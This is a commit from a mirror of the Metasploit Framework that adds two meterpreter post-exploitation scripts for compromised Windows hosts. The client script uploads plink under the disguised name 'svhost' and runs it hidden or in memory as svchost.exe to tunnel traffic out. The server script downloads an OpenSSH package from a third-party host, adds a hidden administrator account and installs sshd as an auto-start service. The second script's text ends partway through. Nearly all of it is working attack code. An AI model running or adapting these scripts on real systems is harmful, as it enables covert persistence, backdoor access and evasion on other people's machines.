mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
add meterpreter scripts for deploying ssh client/server from illegal guy, closes #1728
git-svn-id: file:///home/svn/framework3/trunk@10737 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cb2bd61b75
commit
52260f47b1
440
scripts/meterpreter/win32-sshclient.rb
Normal file
440
scripts/meterpreter/win32-sshclient.rb
Normal file
@ -0,0 +1,440 @@
|
|||||||
|
# win32-sshclient.rb
|
||||||
|
#
|
||||||
|
# $Id$
|
||||||
|
#
|
||||||
|
# Meterpreter script to deploy & run the "plink" commandline ssh-client
|
||||||
|
# supports only MS-Windows-2k/XP/Vista Hosts
|
||||||
|
#
|
||||||
|
# Version 1.0
|
||||||
|
# written by illegalguy
|
||||||
|
#
|
||||||
|
require 'net/http'
|
||||||
|
require 'uri'
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options
|
||||||
|
#
|
||||||
|
|
||||||
|
@@exec_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "This help menu"],
|
||||||
|
"-f" => [ true, "Do not download plink.exe but use given file."],
|
||||||
|
"-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
|
||||||
|
"-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
|
||||||
|
"-p" => [ true, "The port of the remote SSH-server (Default:22)"],
|
||||||
|
"-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
|
||||||
|
"-P" => [ true, "login with specified password"],
|
||||||
|
"-b" => [ false, "disable all interactive prompts"],
|
||||||
|
"-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
|
||||||
|
"-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
|
||||||
|
"-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
|
||||||
|
"-C" => [ false, "enable compression"],
|
||||||
|
"-X" => [ false, "enable X11 forwarding"],
|
||||||
|
"-x" => [ false, "disable X11 forwarding"],
|
||||||
|
"-A" => [ false, "enable agent forwarding"],
|
||||||
|
"-a" => [ false, "disable agent forwarding"],
|
||||||
|
"-1" => [ false, "use SSH-protocol-version 1"],
|
||||||
|
"-2" => [ false, "use SSH-protocol-version 2"],
|
||||||
|
"-4" => [ false, "use IPv4"],
|
||||||
|
"-6" => [ false, "use IPv6"],
|
||||||
|
"-i" => [ true, "private key-file for authentication"],
|
||||||
|
"-m" => [ true, "read remote command from file"],
|
||||||
|
"-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
|
||||||
|
"-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
|
||||||
|
"-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
|
||||||
|
"-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
|
||||||
|
"-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
|
||||||
|
"-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
|
||||||
|
"-v" => [ false, "Give additional (debugging-)output"]
|
||||||
|
)
|
||||||
|
|
||||||
|
def usage
|
||||||
|
print_line("plink ssh-client deploy+run script")
|
||||||
|
print_line("This script will upload and run a plink ssh-cient")
|
||||||
|
print_line(@@exec_opts.usage)
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Default parameters
|
||||||
|
#
|
||||||
|
|
||||||
|
plink = File.join(Msf::Config.data_directory, "plink.exe")
|
||||||
|
|
||||||
|
#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
|
||||||
|
plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
|
||||||
|
license = <<-EOS
|
||||||
|
PuTTY is copyright 1997-2010 Simon Tatham.
|
||||||
|
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||||
|
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
|
||||||
|
EOS
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Define required functions
|
||||||
|
#
|
||||||
|
|
||||||
|
def upload(client,file,trgloc = nil)
|
||||||
|
if not ::File.exists?(file)
|
||||||
|
raise "File to Upload does not exists!"
|
||||||
|
else
|
||||||
|
if trgloc == nil
|
||||||
|
location = client.fs.file.expand_path("%TEMP%")
|
||||||
|
else
|
||||||
|
location = trgloc
|
||||||
|
end
|
||||||
|
begin
|
||||||
|
if file =~ /S*(.exe)/i
|
||||||
|
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
||||||
|
else
|
||||||
|
fileontrgt = "#{location}\\TMP#{rand(100)}"
|
||||||
|
end
|
||||||
|
print_status("Uploading #{file}....")
|
||||||
|
client.fs.file.upload_file(fileontrgt, file)
|
||||||
|
print_status("#{file} successfully uploaded to #{fileontrgt}!")
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return fileontrgt
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Option parsing
|
||||||
|
#
|
||||||
|
username = nil
|
||||||
|
password = nil
|
||||||
|
rhost = nil
|
||||||
|
rport = 22
|
||||||
|
manual = nil
|
||||||
|
hostkey = nil
|
||||||
|
batchmode = nil
|
||||||
|
remotefwd = nil
|
||||||
|
localfwd = nil
|
||||||
|
socksfwd = nil
|
||||||
|
enablecompression = nil
|
||||||
|
enablex11fwd = nil
|
||||||
|
disablex11fwd = nil
|
||||||
|
enableagentfwd = nil
|
||||||
|
disableagentfwd = nil
|
||||||
|
sshv1 = nil
|
||||||
|
sshv2 = nil
|
||||||
|
ipv4 = nil
|
||||||
|
ipv6 = nil
|
||||||
|
keyfile = nil
|
||||||
|
cmdfile = nil
|
||||||
|
sshsubsys = nil
|
||||||
|
noshell = nil
|
||||||
|
nctunnel = nil
|
||||||
|
processname = "C:\\windows\\system32\\svchost.exe"
|
||||||
|
verbose = nil
|
||||||
|
filemode = nil
|
||||||
|
downloaded = nil
|
||||||
|
|
||||||
|
@@exec_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
usage
|
||||||
|
when "-H"
|
||||||
|
if !val
|
||||||
|
print_error("-H requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
rhost = val
|
||||||
|
|
||||||
|
when "-f"
|
||||||
|
if !val
|
||||||
|
print_error("-f requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
plink = val
|
||||||
|
if not ::File.exists?(plink)
|
||||||
|
print_error("Plink.exe not found/accessible!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
manual = true
|
||||||
|
|
||||||
|
when "-r"
|
||||||
|
if !val
|
||||||
|
print_error("-r requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
hostkey = val
|
||||||
|
|
||||||
|
when "-p"
|
||||||
|
rport = val.to_i
|
||||||
|
|
||||||
|
when "-U"
|
||||||
|
if !val
|
||||||
|
print_error("-u requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
plinkurl = val
|
||||||
|
|
||||||
|
when "-u"
|
||||||
|
if !val
|
||||||
|
print_error("-u requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
username = val
|
||||||
|
|
||||||
|
when "-P"
|
||||||
|
if !val
|
||||||
|
print_error("-P requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
password = val
|
||||||
|
|
||||||
|
when "-b"
|
||||||
|
batchmode = true
|
||||||
|
|
||||||
|
when "-R"
|
||||||
|
if !val
|
||||||
|
print_error("-R requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
remotefwd = val
|
||||||
|
|
||||||
|
when "-L"
|
||||||
|
if !val
|
||||||
|
print_error("-L requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
localfwd = val
|
||||||
|
|
||||||
|
when "-D"
|
||||||
|
if !val
|
||||||
|
print_error("-D requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
socksfwd = val
|
||||||
|
|
||||||
|
when "-C"
|
||||||
|
enablecompression = true
|
||||||
|
|
||||||
|
when "-X"
|
||||||
|
enablex11fwd = true
|
||||||
|
|
||||||
|
when "-x"
|
||||||
|
disablex11fwd = true
|
||||||
|
|
||||||
|
when "-A"
|
||||||
|
enableagentfwd = true
|
||||||
|
|
||||||
|
when "-a"
|
||||||
|
disableagentfwd = true
|
||||||
|
|
||||||
|
when "-1"
|
||||||
|
sshv1 = true
|
||||||
|
|
||||||
|
when "-2"
|
||||||
|
sshv2 = true
|
||||||
|
|
||||||
|
when "-4"
|
||||||
|
ipv4 = true
|
||||||
|
|
||||||
|
when "-6"
|
||||||
|
ipv6 = true
|
||||||
|
|
||||||
|
when "-i"
|
||||||
|
if !val
|
||||||
|
print_error("-i requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
keyfile = val
|
||||||
|
if not ::File.exists?(keyfile)
|
||||||
|
print_error("keyfile not found or not accessible!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
|
||||||
|
when "-m"
|
||||||
|
if !val
|
||||||
|
print_error("-m requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
cmdfile = val
|
||||||
|
if not ::File.exists?(cmdfile)
|
||||||
|
print_error("cmd-file not found/accessible!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
|
||||||
|
when "-s"
|
||||||
|
sshsubsys = true
|
||||||
|
|
||||||
|
when "-N"
|
||||||
|
noshell = true
|
||||||
|
|
||||||
|
when "-n"
|
||||||
|
if !val
|
||||||
|
print_error("-n requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
nctunnel = val
|
||||||
|
|
||||||
|
when "-E"
|
||||||
|
if !val
|
||||||
|
print_error("-E requires an argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
processname = val
|
||||||
|
|
||||||
|
when "-v"
|
||||||
|
verbose = true
|
||||||
|
|
||||||
|
when "-F"
|
||||||
|
filemode = true
|
||||||
|
|
||||||
|
else
|
||||||
|
print_error("Unknown option: #{opt}")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
if not rhost or not username
|
||||||
|
print_status("You must specify a hostname (-H) and username (-u)")
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Check if plink-file exists, and if not : download from putty-site first
|
||||||
|
# Ask user before downloading
|
||||||
|
#
|
||||||
|
if not manual
|
||||||
|
if not ::File.exists?(plink)
|
||||||
|
print_status("plink.exe could not be found. Downloading it now...")
|
||||||
|
print_status(license)
|
||||||
|
plinkexe = Net::HTTP.get URI.parse(plinkurl)
|
||||||
|
File.open(plink, "wb") { |fd| fd.write(plinkexe) }
|
||||||
|
print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
|
||||||
|
downloaded = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Uploading files to target
|
||||||
|
#
|
||||||
|
cmdfileontrgt = upload(client, cmdfile) if cmdfile
|
||||||
|
keyfileontrgt = upload(client, keyfile) if keyfile
|
||||||
|
|
||||||
|
trg_filename = nil
|
||||||
|
if filemode
|
||||||
|
print_status("-------Uploading plink -------")
|
||||||
|
trg_filename = upload(client, plink)
|
||||||
|
else
|
||||||
|
trg_filename = plink
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Build parameter-string
|
||||||
|
#
|
||||||
|
params = "-ssh "
|
||||||
|
params << "-P #{rport} " if not rport == 22
|
||||||
|
params << "-l #{username} "
|
||||||
|
params << "-pw #{password} " if password
|
||||||
|
params << "-batch " if batchmode
|
||||||
|
params << "-R #{remotefwd} " if remotefwd
|
||||||
|
params << "-L #{localfwd} " if localfwd
|
||||||
|
params << "-D #{socksfwd} " if socksfwd
|
||||||
|
params << "-C " if enablecompression
|
||||||
|
params << "-X " if enablex11fwd
|
||||||
|
params << "-x " if disablex11fwd
|
||||||
|
params << "-A " if enableagentfwd
|
||||||
|
params << "-a " if disableagentfwd
|
||||||
|
params << "-1 " if sshv1
|
||||||
|
params << "-2 " if sshv2
|
||||||
|
params << "-4 " if ipv4
|
||||||
|
params << "-6 " if ipv6
|
||||||
|
params << "-m #{cmdfileontrgt} " if cmdfileontrgt
|
||||||
|
params << "-i #{keyfileontrgt} " if keyfileontrgt
|
||||||
|
params << "-s " if sshsubsys
|
||||||
|
params << "-N " if noshell
|
||||||
|
params << "-nc #{nctunnel} " if nctunnel
|
||||||
|
|
||||||
|
params << rhost
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set Registry-Value before running the client, if the param was specified
|
||||||
|
#
|
||||||
|
hostkeyname = nil
|
||||||
|
if not hostkey == nil
|
||||||
|
hostkeyname = "rsa2@#{rport}:#{rhost}"
|
||||||
|
print_status("Writing the Hostkey to the registry...")
|
||||||
|
client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Give additional output when -v is set
|
||||||
|
#
|
||||||
|
if verbose
|
||||||
|
print_status("You set the following parameters for plink :")
|
||||||
|
print_status(params)
|
||||||
|
print_status(processname)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Execute the client
|
||||||
|
#
|
||||||
|
|
||||||
|
print_status("-------Executing Client ------")
|
||||||
|
|
||||||
|
p = nil
|
||||||
|
if not filemode
|
||||||
|
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
|
||||||
|
else
|
||||||
|
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
|
||||||
|
end
|
||||||
|
|
||||||
|
if noshell == nil
|
||||||
|
client.console.run_single("interact #{p.channel.cid}")
|
||||||
|
end
|
||||||
|
|
||||||
|
if filemode
|
||||||
|
if not noshell == true
|
||||||
|
if verbose
|
||||||
|
print_status("Waiting 3 seconds to be sure the process was closed.")
|
||||||
|
end
|
||||||
|
sleep(3)
|
||||||
|
if verbose
|
||||||
|
print_status("Deleting the uploaded plink.exe...")
|
||||||
|
end
|
||||||
|
client.fs.file.rm(trg_filename)
|
||||||
|
else
|
||||||
|
print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if not keyfile == nil
|
||||||
|
if verbose
|
||||||
|
print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
|
||||||
|
end
|
||||||
|
sleep(1)
|
||||||
|
if verbose
|
||||||
|
print_status("Deleting the keyfile !")
|
||||||
|
end
|
||||||
|
if verbose
|
||||||
|
print_status(keyfile)
|
||||||
|
end
|
||||||
|
client.fs.file.rm(keyfile)
|
||||||
|
end
|
||||||
|
|
||||||
|
if not cmdfile == nil
|
||||||
|
print_status("You need to manually delete the uploaded #{cmdfile} !")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Delete the registry-key that may have been created
|
||||||
|
#
|
||||||
|
if not hostkey == nil
|
||||||
|
if verbose
|
||||||
|
print_status("Deleting the registry-key set by the script.")
|
||||||
|
end
|
||||||
|
client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
|
||||||
|
end
|
||||||
|
|
||||||
|
raise Rex::Script::Completed
|
394
scripts/meterpreter/win32-sshserver.rb
Normal file
394
scripts/meterpreter/win32-sshserver.rb
Normal file
@ -0,0 +1,394 @@
|
|||||||
|
# win32-sshserver.rb
|
||||||
|
#
|
||||||
|
# $Id$
|
||||||
|
#
|
||||||
|
# meterpreter-script to deploy + run OpenSSH
|
||||||
|
# on the target machine
|
||||||
|
#
|
||||||
|
# written by Oliver "illegalguy" Kleinecke
|
||||||
|
# v.1.0 2010-04-25
|
||||||
|
#
|
||||||
|
|
||||||
|
require 'net/http'
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options
|
||||||
|
#
|
||||||
|
|
||||||
|
@@exec_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "This help menu"],
|
||||||
|
"-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
|
||||||
|
"-U" => [ true, "Download OpenSSH-SFX from given URL"],
|
||||||
|
"-u" => [ true, "Add windows-user (autoadded to local administrators"],
|
||||||
|
"-p" => [ true, "Password for the new user"],
|
||||||
|
"-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
|
||||||
|
"-I" => [ true, "Install OpenSSH to the given directory"],
|
||||||
|
"-F" => [ false, "Force overwriting of registry-values"],
|
||||||
|
"-S" => [ true, "Set custom service description"],
|
||||||
|
"-N" => [ true, "Set custom service name"],
|
||||||
|
"-m" => [ true, "Do not start the OpenSSH-service after installation"],
|
||||||
|
"-t" => [ true, "Set start-type of the service to manual (Default: auto)"]
|
||||||
|
)
|
||||||
|
|
||||||
|
def usage
|
||||||
|
print_line("OpenSSH-server deploy+run script")
|
||||||
|
print_line("This script will deploy OpenSSH + run the SSH-server as a service")
|
||||||
|
print_line(@@exec_opts.usage)
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
|
||||||
|
def createkey(key)
|
||||||
|
root_key, base_key = client.sys.registry.splitkey(key)
|
||||||
|
open_key = client.sys.registry.create_key(root_key, base_key)
|
||||||
|
end
|
||||||
|
|
||||||
|
def deletekey(key)
|
||||||
|
root_key, base_key = client.sys.registry.splitkey(key)
|
||||||
|
rtrncode = client.sys.registry.delete_key(root_key, base_key)
|
||||||
|
return rtrncode
|
||||||
|
end
|
||||||
|
|
||||||
|
def setval(key, value, data, type = "REG_SZ")
|
||||||
|
root_key, base_key = client.sys.registry.splitkey(key)
|
||||||
|
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
|
||||||
|
open_key.set_value(value, client.sys.registry.type2str(type), data)
|
||||||
|
end
|
||||||
|
|
||||||
|
def queryval(key, value)
|
||||||
|
root_key, base_key = client.sys.registry.splitkey(key)
|
||||||
|
hkey = client.sys.registry.open_key(root_key, base_key)
|
||||||
|
valdata = hkey.query_value(value)
|
||||||
|
return valdata.data
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Default values
|
||||||
|
#
|
||||||
|
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
|
||||||
|
manual = false
|
||||||
|
username = "none"
|
||||||
|
password = nil
|
||||||
|
downloadurl = 'http://meterpreter.illegalguy.hostzi.com/downloads/openssh-extract.sfx'
|
||||||
|
uninstall = nil
|
||||||
|
installpath = nil
|
||||||
|
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
|
||||||
|
extractexe = nil
|
||||||
|
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
|
||||||
|
forced = nil
|
||||||
|
servicename = "OpenSSHd"
|
||||||
|
servicedesc = "OpenSSH-Server"
|
||||||
|
noauto = false
|
||||||
|
dirname = nil
|
||||||
|
type = "auto"
|
||||||
|
|
||||||
|
|
||||||
|
#
|
||||||
|
# Option parsing
|
||||||
|
#
|
||||||
|
@@exec_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
|
||||||
|
when "-h"
|
||||||
|
usage
|
||||||
|
|
||||||
|
when "-f"
|
||||||
|
if !val
|
||||||
|
print_error("-f requires the SFX-filename as argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
extractfilename = val
|
||||||
|
if not ::File.exists?(extractfilename)
|
||||||
|
print_error("OpenSSH-SFX not found/accessible!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
manual = true
|
||||||
|
|
||||||
|
when "-U"
|
||||||
|
if !val
|
||||||
|
print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
downloadurl = val
|
||||||
|
|
||||||
|
when "-p"
|
||||||
|
if !val
|
||||||
|
print_error("-p requires the password (for the windows-user to add) as argument !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
if val.length > 14
|
||||||
|
print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
password = val
|
||||||
|
|
||||||
|
when "-u"
|
||||||
|
if !val
|
||||||
|
print_error("-u requires the username (for the windows-user to add) as argument!")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
username = val
|
||||||
|
|
||||||
|
when "-r"
|
||||||
|
uninstall = true
|
||||||
|
|
||||||
|
when "-I"
|
||||||
|
if !val
|
||||||
|
print_error("-I requires a directory-name to use as installpath")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
dirname = val
|
||||||
|
|
||||||
|
when "-F"
|
||||||
|
forced = true
|
||||||
|
|
||||||
|
when "-S"
|
||||||
|
if !val
|
||||||
|
print_error("-S requires s custom string to use as the service-description")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
servicedesc = val
|
||||||
|
|
||||||
|
when "-N"
|
||||||
|
if !val
|
||||||
|
print_error("-N requires a custom string to use as service-name")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
servicename = val
|
||||||
|
|
||||||
|
when "-m"
|
||||||
|
noauto = true
|
||||||
|
|
||||||
|
when "-t"
|
||||||
|
type = manual
|
||||||
|
|
||||||
|
else
|
||||||
|
print_error("Unknown option: #{opt}")
|
||||||
|
usage
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Uninstall if selected
|
||||||
|
#
|
||||||
|
if uninstall
|
||||||
|
username = nil
|
||||||
|
servicename = nil
|
||||||
|
begin
|
||||||
|
dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
|
||||||
|
rescue
|
||||||
|
print_status("Could not find any sshd installed by this script. Please remove manually!")
|
||||||
|
deletekey("HKLM\\Software\\Cygnus\ Solutions")
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
uninstallfile = "#{dirname}\\etc\\uninst.bak"
|
||||||
|
uf = client.fs.file.new(uninstallfile, "rb")
|
||||||
|
while not uf.eof?
|
||||||
|
linesarray = uf.read.split("\r\n")
|
||||||
|
username = linesarray[0]
|
||||||
|
servicename = linesarray[1]
|
||||||
|
end
|
||||||
|
uf.close
|
||||||
|
# stop sshd-service, delete it, delete user + files afterwards
|
||||||
|
print_status("Stopping the #{servicename}-service....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
|
||||||
|
sleep 2
|
||||||
|
print_status("#{servicename} has been stopped.")
|
||||||
|
print_status("Deleting the #{servicename}-service....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
|
||||||
|
sleep 1
|
||||||
|
print_status("#{servicename} has been deleted.")
|
||||||
|
unless username.strip == "none"
|
||||||
|
print_status("Deleting user #{username}......")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
|
||||||
|
print_status("User #{username} has been deleted")
|
||||||
|
end
|
||||||
|
print_status("Deleting the directory #{dirname}....")
|
||||||
|
client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
|
||||||
|
print_status("#{dirname} has been deleted.")
|
||||||
|
print_status("Deleting regkeys ....")
|
||||||
|
deletekey("HKLM\\Software\\Cygnus\ Solutions")
|
||||||
|
print_status("Registry-keys have been deleted .")
|
||||||
|
print_status("Uninstall completed!")
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
|
||||||
|
#
|
||||||
|
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
|
||||||
|
open_key = client.sys.registry.open_key(root_key, base_key)
|
||||||
|
keys = open_key.enum_key
|
||||||
|
if ( keys.length > 0)
|
||||||
|
if not forced
|
||||||
|
print_error(warning)
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# If file doesn`t exist and file was not manually specified : auto-download
|
||||||
|
#
|
||||||
|
|
||||||
|
if manual == false
|
||||||
|
if not ::File.exists?(extractfilename)
|
||||||
|
print_status("openssh-extract.sfx could not be found. Downloading it now...")
|
||||||
|
print_status(license)
|
||||||
|
extractexe = Net::HTTP.get URI.parse(downloadurl)
|
||||||
|
open(extractfilename, "wb") { |fd| fd.write(extractexe) }
|
||||||
|
print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
|
||||||
|
downloaded = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate sshd-dir + upload file to client
|
||||||
|
#
|
||||||
|
if dirname == nil
|
||||||
|
dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
|
||||||
|
print_status("Creating directory #{dirname}.....")
|
||||||
|
client.fs.dir.mkdir(dirname)
|
||||||
|
else
|
||||||
|
if !::File.exists?(dirname) && !::File.directory?(dirname)
|
||||||
|
print_status("Creating directory #{dirname}.....")
|
||||||
|
client.fs.dir.mkdir(dirname)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
|
||||||
|
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
|
||||||
|
client.fs.file.upload_file(fileontrgt, extractfilename)
|
||||||
|
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")
|
||||||
|
|
||||||
|
|
||||||
|
# Get required infos about the target-system
|
||||||
|
clientenv = Hash.new
|
||||||
|
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
|
||||||
|
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")
|
||||||
|
|
||||||
|
fd = client.fs.file.new(envtxtname, "rb")
|
||||||
|
while not fd.eof?
|
||||||
|
linesarray = fd.read.split("\r\n")
|
||||||
|
linesarray.each { |line|
|
||||||
|
currentline = line.split('=')
|
||||||
|
envvarname = currentline[0]
|
||||||
|
envvarvalue = currentline[1]
|
||||||
|
clientenv[envvarname] = envvarvalue
|
||||||
|
}
|
||||||
|
end
|
||||||
|
fd.close
|
||||||
|
|
||||||
|
# Do not continue if client-os is not valid
|
||||||
|
|
||||||
|
unless clientenv["OS"] == 'Windows_NT'
|
||||||
|
print_error("This script will run on Windows-NT based OS only!")
|
||||||
|
raise Rex::Script::Completed
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Extract the files
|
||||||
|
|
||||||
|
print_status("Extracting the files ...")
|
||||||
|
client.sys.process.execute(fileontrgt)
|
||||||
|
sleep 3
|
||||||
|
print_status("Files extracted .. ")
|
||||||
|
|
||||||
|
#
|
||||||
|
# Import required registry keys
|
||||||
|
#
|
||||||
|
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))
|
||||||
|
|
||||||
|
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
|
||||||
|
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
|
||||||
|
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
|
||||||
|
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
|
